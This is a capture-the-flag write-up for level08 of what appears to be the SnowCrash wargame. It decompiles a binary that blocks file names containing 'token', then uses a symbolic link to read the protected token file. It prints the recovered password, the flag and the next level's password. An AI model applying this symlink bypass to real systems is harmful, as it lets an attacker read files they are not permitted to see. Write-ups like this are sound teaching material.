level08

In the level08 directory, there is an executable named *"level08"* and a file named *"token"*, which is inaccessible to us. Below is the decompiled code from *Ghidra*:

```
int main(int argc, char **argv, char **envp)
{
    char *tokenPos;
    int fd;
    size_t nRead;
    ssize_t bytesWritten;
    int stackGuard;
    char buf[1024];

    stackGuard = *(int *)(in_GS_OFFSET + 20);

    if (argc == 1)
    {
        printf("%s [file to read]\n", argv[0]);
        exit(1);
    }

    tokenPos = strstr(argv[1], "token");
    if (tokenPos != NULL)
    {
        printf("You may not access \'%s\'\n", argv[1]);
        exit(1);
    }

    fd = open(argv[1], 0);
    if (fd == -1)
    {
        err(1, "Unable to open %s", argv[1]);
    }

    nRead = read(fd, buf, 1024);
    if (nRead == -1)
    {
        err(1, "Unable to read fd %d", fd);
    }

    bytesWritten = write(1, buf, nRead);
    if (stackGuard != *(int *)(in_GS_OFFSET + 20))
    {
        __stack_chk_fail();
    }
    return bytesWritten;
}
```

level08²

The program is structured with a series of five conditional checks:

1. It validates whether *argc* is equal to 1.
2. It ascertains if *argv[1]* contains the substring 'token'.
3. It determines the accessibility of the specified file for opening.
4. Upon successfully opening the file, it verifies the readability of the file descriptor.
5. It implements a check for potential *buffer overflow*.

Recognizing our inability to directly access or rename the *"token"* file, we crafted a symbolic link with a unique name, that points to the 'token' file. The program checks only the argument's name, not its actual source. Thus, our symbolic link bypasses this validation, allowing indirect content access.

```
level08@SnowCrash:~$ ln -s /home/user/level08/token /var/tmp/link

level08@SnowCrash:~$ ./level08 /var/tmp/link

quif5eloekouj29ke0vouxean

level08@SnowCrash:~$ su flag08
Password:
Don't forget to launch getflag !

flag08@SnowCrash:~$ getflag
Check flag.Here is your token : 25749xKZ8L7DkSCwJkT9dyv6f

flag08@SnowCrash:~$ su level09
Password: 25749xKZ8L7DkSCwJkT9dyv6f

level09@SnowCrash:~$
```